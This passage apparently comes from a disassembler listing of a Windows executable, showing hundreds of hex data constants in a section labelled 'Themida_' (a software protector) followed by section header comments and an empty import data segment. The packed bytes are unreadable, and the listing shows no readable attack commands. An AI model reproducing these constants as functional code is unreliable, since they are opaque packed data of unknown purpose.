		dd 9, 0FE47CFFBh, 0EC9E1995h, 0CE92Dh, 71070000h, 0C775B8AAh
		dd 0A6979ED2h, 0FEBF8DC7h, 0F33EC90h, 0BF66F2BFh, 66F5032Dh
		dd 3634F281h, 0C7BFC281h, 840F5CFAh, 2,	0BF0FF28Bh, 0A4A6BFF8h
		dd 0CE833A0h, 0A0000000h, 7FD36481h, 0CDBA35ACh, 81B823F3h
		dd 41B323CFh, 0BF665E06h, 0B70F885Ch, 0A7C280D7h, 19E88166h
		dd 0AE966h, 53110000h, 13EADD45h, 0D520BDFFh, 2800Fh, 0C28B0000h
		dd 0E5E9D9BAh, 8E94Eh, 50460000h, 4D69E509h, 0F18B6DEFh
		dd 8EF38166h, 0BDBE6093h, 6001CDAEh, 0B4C8B70Fh, 0F96161B9h
		dd 10E9h, 0B857CF00h, 7F480798h, 1451B5CBh, 2183D7E2h
		dd 7CE804Fh, 3534C4BFh,	0FA5B744h, 982h, 38C0F00h, 66000000h
		dd 0F681D98Bh, 6C4F549Fh, 0CE8h, 3C899700h, 9D7BC8CAh
		dd 0BE788E17h, 2870FE9h, 60000000h, 8B665B61h, 5E8C1h
		dd 0B030000h, 0F2E2753h, 81h, 81665A00h, 0FBF24E1h, 18Ch
		dd 0B70FF900h, 9E8DBh, 6ADA0000h, 15D6F77Bh, 5314ACF0h
		dd 0A87361BBh, 81595F08h, 84EB18E2h, 0EAD6812Ch, 0F1C8ABDh
		dd 5E9CAB7h, 1D000000h,	92EF8CCDh, 73B96660h, 36D580F6h
		dd 0AEA8BA61h, 8B664DC7h, 81BAB4CFh, 16CF0FC3h,	0BBD0B822h
		dd 0B70F63B3h, 0B8E0FC7h, 0E9000000h, 6, 68015E0Dh, 60F91215h
		dd 0FF28B66h, 282h, 61CB8B00h, 14E9h, 0E8CDA100h, 79C5AD80h
		dd 0AC1CBFD4h, 2C1A7CA0h, 1B1F9B37h, 9E971h, 3C390000h
		dd 6E221B9Ah, 0E955A912h, 13h, 313BC49Bh, 5E6A0F2Eh, 0D943000h
		dd 296676D3h, 0E944CB10h, 9, 30D3876Bh,	116C9481h, 8F0F5064h
		dd 2, 565FF58Ah, 9DC18166h, 11E95B13h, 8B000000h, 0D694039Bh
		dd 35FB5A44h, 0A915393Fh, 53158BB6h, 58F0Fh, 84BB0000h
		dd 812E70E0h, 12A43EF6h, 8E808h, 23B00000h, 2D75FE27h
		dd 0C88BC876h, 8A0FFC5Bh, 6, 725BEF81h,	0AE81D7Ah, 69000000h
		dd 46807B6Dh, 1B65EA77h, 0F7BF0F27h, 0B632B65Bh, 820F6005h
		dd 2, 0F5006B3h, 84h, 0B0615A00h, 13E9F938h, 0E9000000h
		dd 9CAF8572h, 844C0DAFh, 0EF014F03h, 94290271h,	0BA660D74h
		dd 0BE6607D9h, 0C78B649Fh, 9E9h, 28379300h, 0BCA79A00h
		dd 6660093Bh, 6661CE8Bh, 56FB14B8h, 66AEB55Fh, 8B3CEDBEh
		dd 0F0B70FCFh, 1295D681h, 0BE667469h, 8B661281h, 2ACABBF2h
		dd 870F66FFh, 5, 6ACF8166h, 0CE9FFh, 0DC610000h, 438974E0h
		dd 4ACD1B9Bh, 0B6BA9021h, 661329A2h, 9283F381h,	17F180F9h
		dd 0B8B0Fh, 870F0000h, 5, 0A8EA8166h, 2820FE1h,	0B1000000h
		dd 52C68BA1h, 5FF38B66h, 0B866C68Bh, 666064D7h,	4ABEF98Bh
		dd 615E9673h, 13E8h, 49F7B400h,	78E6C7Bh, 0CD47B4AEh, 0B0C0E4BEh
		dd 0B2A24E86h, 11E9h, 5FE20C00h, 74FEC470h, 0C52E477Fh
		dd 0C413C97Ch, 0E959BA73h, 9, 17DA4B75h, 0E900EDF5h, 1D71BAACh
		dd 0EE805937h, 0EE941h,	1A120000h, 955FADE2h, 6ACD3BC0h
		dd 0E3DF2D14h, 414A7ABBh, 7FDC800Bh, 770469B9h,	5AF55734h
		dd 8AF2B70Fh, 8B6653C8h, 81665FF8h, 0F098AF0h, 0A8Ah, 5E900h
		dd 0E0F50000h, 0E93231D7h, 5, 3DA751E6h, 138D0F06h, 0E9000000h
		dd 0Eh,	82EED422h, 0EB187EDEh, 0B9696939h, 0CFB92838h
		dd 0E869B68Eh, 8, 0B82E1046h, 2B6499B9h, 5AC7BF0Fh, 38D88160h
		dd 666C04E7h, 61FBC4B9h, 5E9h, 505A300h, 0F6817A37h, 5E983A2Ah
		dd 66D18B66h, 53FD3FBFh, 13E9h,	321B8A00h, 5B7E73C8h, 0C9613A6Fh
		dd 0BCF5840Eh, 24DC85E1h, 0EFD7805Fh, 8196C980h, 66EFBAD2h
		dd 0C78B6605h, 890Fh, 7B90000h,	511B77A0h, 870F5FFCh, 5
		dd 367B8BBBh, 0D9BF0F57h, 0EE8h, 79505600h, 0E7AC3129h
		dd 0E994EC37h, 80183988h, 0E85F20D6h, 14h, 66B78AF2h, 41A77598h
		dd 81F0E038h, 203B7554h, 4BDFC5A3h, 0E6CB8166h,	810F5F5Ch
		dd 0Bh,	5820Fh,	81660000h, 0E9A7F4C7h, 7, 0B4B24161h, 66367B4Bh
		dd 0C59AF081h, 0D4E1C381h, 0E9503F3Eh, 0Ah, 0DCAAFD16h
		dd 5F9AC863h, 6658ABF8h, 66A4D1BEh, 1A4BE681h, 13E9h, 71C17F00h
		dd 2B0EA65Ch, 0E8E9B428h, 89B6671Ch, 0B28D022Dh, 0C2816660h
		dd 890F152Dh, 2, 0E961D18Ah, 14h, 2EF3C1Ch, 129E9C7h, 0A1FAA901h
		dd 0B4BFFCF2h, 32E42026h, 87D18166h, 0C8816640h, 840FFE2Eh
		dd 9, 3890Fh, 8B660000h, 9DB866D7h, 5B7BF7Ah, 12E9312Eh
		dd 84000000h, 0F851272h, 79A96E5Bh, 0AB2A2BE0h,	0DCE77BFAh
		dd 6652F50Eh, 74D6F781h, 3830F58h, 0F000000h, 6E8C0B7h
		dd 69000000h, 2E687471h, 9E900h, 0E9A80000h, 0EC70B744h
		dd 5F745CFFh, 52FC18B4h, 8158E68Ah, 0D44777EEh,	8C0FF865h
		dd 4, 7478BA66h, 55BDF281h, 0E8564389h,	0Fh, 0DCB239C2h
		dd 0C5DF3F6Bh, 5EF4CED3h, 5F9416EAh, 62F0805Ah,	0FE9h
		dd 7A7F3100h, 164C77E8h, 8AD06816h, 0C5615E6Dh,	58D0Fh
		dd 0A6B90000h, 605C6CB9h, 1870Fh, 0F9F90000h, 0FE8B261h
		dd 780h
		dd 18E0F00h, 0F8000000h, 7047BE66h, 0E2EA80FCh,	6890Fh
		dd 0C7810000h, 5FC02BF7h, 5125E681h, 0BE95A0Ch,	75000000h
		dd 33B97275h, 35C4FDA0h, 0E960AC42h, 0Bh, 11784779h, 42EA02B8h
		dd 619CB89Bh, 0B70FC18Bh, 0F47B6C8h, 64BBD1B7h,	0BE36EAE8h
		dd 4A89F198h, 0EE9h, 0AB125000h, 3E0B60C2h, 46D1B54Bh
		dd 66773376h, 73B7C88Bh, 8E9h, 81A90600h, 0A6DF0AD3h, 0CE81661Fh
		dd 0EE9DC70h, 9C000000h, 70BDCFD1h, 0A4E71352h,	40A6C600h
		dd 8E990h, 0D6D0000h, 0DB714612h, 810F2B69h, 0
		dd 0E9C6D880h, 14h, 7D95BAADh, 0BD588FD5h, 0A58BA6D3h
		dd 0A770987Bh, 0F4C3ED2h, 0AE8h, 4D836300h, 21D29071h
		dd 0F4F6188h, 681h, 8E0F00h, 59000000h,	0B81CC780h, 4EA55C01h
		dd 0EE950h, 0A7FE0000h,	14CF3280h, 0DEFB95F0h, 7D2A0D75h
		dd 890F5358h, 5, 0D3CF8166h, 9E8584Eh, 0E000000h, 788B1B09h
		dd 685C3395h, 8166F858h, 66182BEEh, 8E9CB8Bh, 0AE000000h
		dd 0F3B14738h, 80099767h, 81F9CED3h, 0A65839D1h, 0FB8B6610h
		dd 0FF8B70Fh, 0C18BC2B7h, 9736F1B9h, 88C0F4Fh, 0F000000h
		dd 280h, 605E5600h, 58C68166h, 61D38BBAh, 60D18B66h, 38B0Fh
		dd 8B660000h, 0F561F5DAh, 0BE860h, 2E960000h, 7851D166h
		dd 0B32FD9EBh, 5E92B32Ch, 7E8h,	66ADD300h, 81D1F6D6h, 5BD98B66h
		dd 10E861h, 0E2B40000h,	48518137h, 0DD810B19h, 0F8E51ECEh
		dd 6053EA91h, 0F5E5B61h, 580h, 0CA816600h, 7E94100h, 7F000000h
		dd 9871C5F5h, 0B70FB896h, 19890FD7h, 0E9000000h, 14h, 0E5D48F01h
		dd 28FE1076h, 37F18811h, 3C8C0C46h, 0D4375F7Fh,	63FB09BAh
		dd 8D0F6064h, 5, 3B56D4BAh, 56E2805Dh, 0EB816661h, 820F5446h
		dd 6, 2490CF81h, 80F8144Bh, 2CB886DAh, 6071642Bh, 6436E681h
		dd 0B9660464h, 666104E1h, 0F2BA7BBh, 285h, 66CC8A00h, 800058BFh
		dd 0E950DAD4h, 11h, 0E4EE1E29h,	3A5C45F0h, 0F1994CD0h
		dd 0CCBC4AF6h, 0EE95E77h, 0AA000000h, 877672E0h, 98E4D674h
		dd 9A47BB93h, 0E08166B4h, 24BAC45Ch, 0BF4F267Ah, 3E3A93F1h
		dd 18B0Fh, 81FC0000h, 3BA95FE2h, 0F34B328h, 280h, 0E9EE8A00h
		dd 13h,	8FBE261Ah, 0CD7CA9ABh, 58FC6515h, 63D328A0h, 0F4F2E71h
		dd 38Ah, 0F3B70F00h, 8B66F560h,	0E9F861C6h, 8, 0D44A1EEDh
		dd 43BFE176h, 0F88B6660h, 9E9h,	5E5F9000h, 0C02D263h, 0B9615308h
		dd 47BCAB6Ch, 0F81359BBh, 0C890F6Bh, 0F000000h,	68Dh, 880F00h
		dd 57000000h, 2830Fh, 0F2B60000h, 810F5Fh, 0E9000000h
		dd 0Fh,	4FD5BD12h, 719B0143h, 9B242116h, 80E6B70Ah, 10B760D0h
		dd 0F231B866h, 14E9h, 0BD739D00h, 1E6F7F8Ch, 22EFAD4h
		dd 58CBA4D0h, 1FA5A7C9h, 6E9A5h, 96320000h, 0B75ECBF2h
		dd 0BB6659B3h, 0FFC2B61h, 28Ah,	0FCB8A00h, 48Bh, 0D08A5100h
		dd 6EE6815Fh, 0E92A5D60h, 0Ah, 868FE50h, 0BEDF923Fh, 0F98A8E06h
		dd 10E8h, 58D68000h, 0C637716Ah, 16424733h, 0EEA863FCh
		dd 11E90Eh, 0C7660000h,	0D9953ECDh, 1DE5C521h, 3991B900h
		dd 5E41D5A7h, 10E8h, 50D74900h,	0A0C4430h, 856C6872h, 0C71B45F9h
		dd 0F565A68h, 28Eh, 5FF88A00h, 80CBEC80h, 7E955DBh, 63000000h
		dd 29E5C9D6h, 816693D5h, 80C60EDBh, 506043DDh, 5DB8166h
		dd 8B665F68h, 0F5161CEh, 0E85AD0B7h, 0Eh, 5E581A90h, 9CF28166h
		dd 526BD180h, 0B70FE34Ch, 0BF0F5FD9h, 81DC80F2h, 11E8h
		dd 705FE200h, 7F74FEC4h, 7CC52E47h, 73C413C9h, 58F91BBAh
		dd 1CEB951h, 0E95A08E0h, 0Ch, 697B34B3h, 6B27868Bh, 0E8F518D8h
		dd 0FAFDC80h, 1189h, 0AE95000h,	1000000h, 6AA34FB5h, 0B750342Ah
		dd 66F958ACh, 0F5557FBFh, 11E9h, 0F72B8B00h, 0D1DFEB86h
		dd 369DA8C8h, 0B17D9950h, 0B70F4689h, 5E960D3h,	0DA000000h
		dd 873DAE4Eh, 61C8B70Fh, 1244E281h, 0B9564A9Bh,	53681EEFh
		dd 0DBB6B859h, 816638EDh, 8021C7D6h, 8B66C8DCh,	0CF8B66CFh
		dd 7E9h, 6094E500h, 0AC56BDEDh,	0F59F856h, 1280h, 0DE900h
		dd 1E730000h, 134C6230h, 0A8871A79h, 519D7A02h,	0F5F9DB3h
		dd 38Bh, 0C38B6600h, 9AC5BE50h,	0F85A631Eh, 0FC88B66h
		dd 8E0FF1BFh, 9, 3820Fh, 0C1800000h, 10E9F1h, 3FBC0000h
		dd 55E30926h, 0C59C4DC4h, 8161C232h, 0DE9E85Bh,	47000000h
		dd 0F6649EE1h, 0CDE1F487h, 0C0AB28A8h, 0AE9h, 599CE100h
		dd 0F938A0C8h, 0F226E32h, 8166CBBFh, 66BA2DD2h,	503AB7BEh
		dd 9E9h, 3B206300h, 745EF6EDh, 0E859BA1Fh, 0Ch,	9B7AB819h
		dd 77303930h, 72936124h, 665E9CB6h, 19CFF681h, 0CE8h, 9B1FD00h
		dd 75CE074h, 0FB0A879Ch, 8A0F05h, 58000000h, 3890Fh, 0BF0F0000h
		dd 66A1B0C1h, 0FB987BBh, 58Ah, 0D6816600h, 880F050Eh, 4
		dd 0CCC9B866h, 7E9h, 181ECB00h,	907F678Bh, 0E9D1BF0Fh
		dd 0Bh,	98615BA8h, 0C4BBF2A6h, 0E8400D5Bh, 8, 0D2085FDh
		dd 59C8B827h, 590CF280h, 79C8B966h, 10E9h, 8D22C800h, 46EA2E52h
		dd 17005B99h, 30F0C91Bh, 0CAB70F24h, 0FB8BFB8Bh, 0ED808EB4h
		dd 2ECCBAB9h, 0A2BB5300h, 0BF1F8392h, 0B48AF57h, 0F800Fh
		dd 0AE90000h, 34000000h, 0E8E08005h, 0EE4C6FDDh, 0DEB2FCCAh
		dd 0A2F78166h, 0F56F817h, 284h,	5F616000h, 0C9B1BA66h
		dd 87F5BB66h, 0E38A6060h, 0DE8h, 0F6688C00h, 8160D8E3h
		dd 0B2AFFB24h, 615B5F22h, 0C3E68166h, 8B66613Dh, 0CA8B66F0h
		dd 5890Fh, 4BE0000h, 66242A03h,	9EB3C68Bh, 7820Fh, 52600000h
		dd 0C88B665Eh, 53EC8A61h, 0E9C78B5Fh, 13h, 17ADEA0Fh, 7B47429Eh
		dd 36C3EF2h, 7CAC9837h,	66BC35E6h, 0CBBAFE8Bh, 0BB011B53h
		dd 1145993h, 6813B966h,	0B70F5951h, 6E853CAh, 0D7000000h
		dd 0CEC20178h, 5A616095h, 61D88059h, 11E9h, 4AFC2F00h
		dd 0FFB8C4FAh, 7CD8FF88h, 203C3F12h, 0B70F2F5Ah, 26E980F0h
		dd 6060DD8Ah, 66DFB70Fh, 619E21B9h, 0AE1EC381h,	51613A1Dh
		dd 5E8h, 1F36B00h, 8B668BABh, 0F5F5EF3h, 138Ch,	0AE800h
		dd 0F5020000h, 89777BEAh, 0B30308DCh, 5978D780h, 13E9h
		dd 0ADBD5A00h, 91D96520h, 320865D9h, 0DCCEEB47h, 0DD1C1EA7h
		dd 0B850DD8Ah, 4E28769Dh, 0B866F55Bh, 0BF0F7D26h, 8B66F8CEh
		dd 0EE9F2h, 50790000h, 0DA49202h, 11C08B63h, 5B422A50h
		dd 13E9h, 434D7500h, 0D53475BFh, 0D4FABA70h, 0A7831DE6h
		dd 3CCCB3CFh, 147EBF66h, 6767D8B9h, 0CA816651h,	8B0FA715h
		dd 0Fh,	9E8h, 5F59ED00h, 0E15D5DA1h, 505AE7D4h,	5A14D081h
		dd 605E6A9Fh, 4EB351BAh, 8150615Fh, 738C78CAh, 12E95A48h
		dd 0D5000000h, 47733F2Fh, 0CB53AF02h, 0D90C0939h, 0FA9F1D0Ah
		dd 0C0F780C7h, 7A65B8F5h, 0AE9762Ah, 69000000h,	0F3B6417Dh
		dd 8F934CE2h, 28E0F36h,	8B000000h, 0E991B7DFh, 0Dh, 77C700ABh
		dd 73B01335h, 6B61CC66h, 10E982h, 89820000h, 829C9471h
		dd 32B41BB4h, 4A79635Bh, 0DB80B6D5h, 0E9F88BA9h, 0Bh, 9952C624h
		dd 2E95F5CFh, 66AFB16Bh, 668A9FB9h, 0A12E681h, 0CEDE8166h
		dd 11E91Eh, 0F9760000h,	3DFD3B10h, 89AFB894h, 0DE044324h
		dd 668B1488h, 8E9DE8Bh,	65000000h, 0B04454AAh, 81AE4EDAh
		dd 0A98148C9h, 890FFC30h, 6, 0E6BB6660h, 6660619Ah, 870FC28Bh
		dd 3, 61D38B66h, 60FFB70Fh, 61F5F88Bh, 0E95EF551h, 5, 0DE4ECA92h
		dd 0D9B70F52h, 9CC28166h, 0DABF0F69h, 6E9h, 0E19FEA00h
		dd 0F8092D86h, 0E8C78B66h, 0Fh,	0FDB7A77Bh, 0BEBEC7C1h
		dd 4D77EFD7h, 53E6A43Dh, 0BE85E5Eh
		dd 4F000000h, 884B330Ah, 0D13F5D7Bh, 0BE663CA8h, 6658FF48h
		dd 0F9218BBh, 684h, 0B7F68100h,	8B360932h, 17BF66D1h, 0BE9ADh
		dd 0E1FB0000h, 0AE28350Ah, 247A13F7h, 6890F3Ah,	56000000h
		dd 59CDBB66h, 0CF8B665Fh, 0E2D28166h, 14E983h, 24890000h
		dd 88DE0443h, 0F5838B14h, 1234FCE1h, 0AF222207h, 9FB5B773h
		dd 7E9h, 68493200h, 8AD81DADh, 8A0FF98Bh, 11h, 9E8h, 0F21C2500h
		dd 0EDD2A429h, 5A522EE7h, 8B66605Eh, 0CE8CBh, 7DF50000h
		dd 25FBEA75h, 7871A5F9h, 870F078Bh, 0
		dd 52606158h, 81596160h, 31F83EAh, 0B2F56177h, 81665363h
		dd 5B0D35E7h, 0FE9h, 0C3EE7700h, 31C300C7h, 0E9775B26h
		dd 0C902D1F9h, 8B6651F5h, 0B70F59D7h, 13E9CBh, 4DB30000h
		dd 676EF121h, 92E39028h, 0B4C9773Bh, 475E9BD8h,	8E947h
		dd 0B2D20000h, 0AD6ED727h, 0D98B7E93h, 81667BB6h, 0E9C1EAD1h
		dd 0Fh,	8E6E26CAh, 708E9F51h, 34743D1Dh, 0E8AA398Ah, 11h
		dd 0FE7193AEh, 0D080959Fh, 0AEF161D2h, 8AC03EFEh, 2880FFDh
		dd 50000000h, 81665F58h, 0F31A1EBh, 988h, 0BF0F6000h, 1DBE66CBh
		dd 0CE96100h, 82000000h, 0B19A328Dh, 11271CA8h,	533F64EDh
		dd 0CE8h, 2789E000h, 887A1F34h,	0EA88390h, 0FA74BB75h
		dd 5F5E19FDh, 0AEC674BAh, 52C88B3Ah, 5BDF8B66h,	12E9h
		dd 4269D000h, 5D54E9D8h, 130EDE52h, 4FCA3D83h, 0F38156Eh
		dd 0CE8F9BFh, 0BC000000h, 90F1CB8Bh, 0C0087352h, 0E937A974h
		dd 12h,	13C51F05h, 2BA79F00h, 87991A33h, 0DBA52B21h, 0F5BD23Dh
		dd 0CF81D1BFh, 52EC57A0h, 0A810Fh, 5E90000h, 2C000000h
		dd 68FE5045h, 188C0Fh, 6E80000h, 73000000h, 8FC55391h
		dd 6E8C8h, 0C8790000h, 28B634C0h, 8E9585Bh, 0F6000000h
		dd 0B73A9D84h, 0E9B26D96h, 10h,	0DA0239Bh, 0CD3F69A7h
		dd 338DDDA6h, 0BB1FFB34h, 38B0Fh, 0B70F0000h, 0CE9FAh
		dd 0F8E20000h, 8323ECD4h, 0C86A898Dh, 48B2AE9Bh, 0E0CA8166h
		dd 0EF81667Ch, 8B66D53Eh, 0C9D380D6h, 0A850B3B8h, 890F3Bh
		dd 0F000000h, 1181h, 0CE900h, 171F0000h, 0D586D9E0h, 0DEF1F1DAh
		dd 0F3809313h, 8B66F5B3h, 0D0B866CBh, 0C18166F7h, 8B66F350h
		dd 66C18ADEh, 8B56D88Bh, 72BF5FC3h, 0B96760CEh,	61ADE7BCh
		dd 0F7BB7FCh, 28Dh, 0E9F8B500h,	0Dh, 0D819E7AEh, 216D9F46h
		dd 497EF191h, 0D88B660Ch, 10E950h, 0AE9E0000h, 8E6A9FCDh
		dd 6312D815h, 1993C66h,	80592711h, 0E96082CAh, 0Ch, 9FA0C51Ah
		dd 45A72907h, 1E485F9h,	29C2B966h, 0C7B70F61h, 0A478DE81h
		dd 8F0F0D85h, 14h, 8E8h, 0B5DA5100h, 3D0FF7CAh,	1DD6817Eh
		dd 5F058190h, 8351E981h, 0BF66747Dh, 4BB866A8h,	0B9000CBEh
		dd 73EB3742h, 13E9h, 0BAF30E00h, 4CC0709Bh, 4EEA6669h
		dd 5BF6103Eh, 5773CF67h, 0EE9h,	4C6A9500h, 580AD29Bh, 387EFEEEh
		dd 8B0DB737h, 14E8F1h, 0ADB50000h, 9FF160E8h, 0ED20A56Eh
		dd 9F26BD7Dh, 0FAEE3C0Dh, 0D381BAA0h, 297DEEDh,	0E4EB815Fh
		dd 664D7FA6h, 0B70FF88Bh, 8E957D1h, 0A000000h, 0C512B2BFh
		dd 58517968h, 9ECB8166h, 0A9D9819Dh, 0F7F3482h,	118Ah
		dd 0AE95100h, 86000000h, 0CA755D89h, 9CB126B7h,	0CAB45F09h
		dd 60D68B66h, 0E9C18B66h, 0Dh, 0EBA5BB19h, 55A565F4h, 81659836h
		dd 81666177h, 813974E2h, 0AD00AAEBh, 0AE931h, 98A30000h
		dd 503C4F08h, 55D0196Fh, 8C0F53h, 5E000000h, 0FE8h, 4659C200h
		dd 878A624Eh, 64A174D8h, 0E3CC28F3h, 8C3FB966h,	0E82DB75Bh
		dd 0Eh,	0BEBB3CE8h, 0CF2282CAh,	0E70E2A04h, 5BF9DEB9h
		dd 16B1CA81h, 8E0F3109h, 3, 0FC9B70Fh, 6DB5C0B7h, 0E92F22B8h
		dd 9840F1Ah, 60000000h,	98BE58B5h, 61646CE7h, 188B0Fh
		dd 13E90000h, 0B6000000h, 9B9283B2h, 0B643CEE8h, 767591BDh
		dd 3F88BF60h, 0CB819012h, 0D394436h, 69F38166h,	0C6B70F50h
		dd 5271D381h, 0CCBE4A36h, 0E90AFA3Fh, 14h, 0EA62EE74h
		dd 0DA6C6722h, 0D2249282h, 0EE0366Dh, 9AE8273Dh, 0AE8h
		dd 0EC461700h, 2B736375h, 5791435Fh, 869C83B8h,	535B5E76h
		dd 0F73FDB81h, 0F5E63DEh, 280h,	57E38A00h, 5B55B553h, 28C0F5Bh
		dd 8B000000h, 4A41BEDFh, 5660322Ah, 4810F5Bh, 66000000h
		dd 61393EB8h, 161007BEh, 0F3C2810Ah, 0F026265h,	0EE9D7B7h
		dd 59000000h, 431125E3h, 6DA38823h, 964442DDh, 6698B64Ch
		dd 0B966F78Bh, 4BB186A9h, 5240E381h, 8C0F480Eh,	2, 0AE9D98Ah
		dd 0F1000000h, 0F34E59FAh, 4877047Ah, 40BE66CFh, 2890F47h
		dd 8B000000h, 5820FF2h,	0B9000000h, 5ECBC5BEh, 5810Fh
		dd 5EB90000h, 6612D9FFh, 0BF76C881h, 8C0FFCh, 66000000h
		dd 0E9C28DBEh, 13h, 424CA399h, 61CAC71Dh, 0A3BD6879h, 61808C50h
		dd 662638D7h, 0B866CE8Bh, 8B66F182h, 0C2BF0FD8h, 0E8D98B66h
		dd 6, 0D18DBB81h, 18B8AACEh, 5A1CC865h,	4DC68166h, 0E960F53Bh
		dd 6, 0F4C86DE4h, 0FE90D60h, 0FE000000h, 7AB4E3F2h, 0A312185Fh
		dd 2EBAFC7Fh, 0F6105C2h, 1F85h,	13E800h, 9DEC0000h, 0E97F3612h
		dd 11FC6C31h, 4B6757D4h, 79AA48ECh, 0CE98123h, 5F24DC34h
		dd 0FF38B66h, 88Fh, 2840F00h, 60000000h, 0CE861h, 407A0000h
		dd 0C16A8824h, 0C9AC73B6h, 48B56763h, 0FE85Fh, 970E0000h
		dd 81103F16h, 0B9E6F874h, 87FB7C8Fh, 585956A3h,	0CFB70FF8h
		dd 48B0Fh, 57600000h, 8C0F6158h, 10h, 0BE9h, 9057D700h
		dd 17916F98h
		db 72h,	93h, 55h
byte_5D4D5B	db 0B4h			; DATA XREF: ___:off_431980o
		dd 15h dup(0FE5026C7h),	9B2DC5C7h, 24Bh	dup(9B2DC59Bh)
		dd 3BBh	dup(0B5A76C06h), 1C5h dup(5B0F639Bh), 12C3EF9Bh
		dd 46h dup(12C3E75Ah), 14h dup(6A5C8762h), 21Ah	dup(2A8255AEh)
		dd 1F755AEh, 95h dup(1F7CB8Ch),	0F1h dup(0D346C212h), 823h dup(0CCCCCCCCh)
		dd 0A9h	dup(0)
Themida_	ends

; Section 5. (virtual address 001DA000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 001DA000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 5DA000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start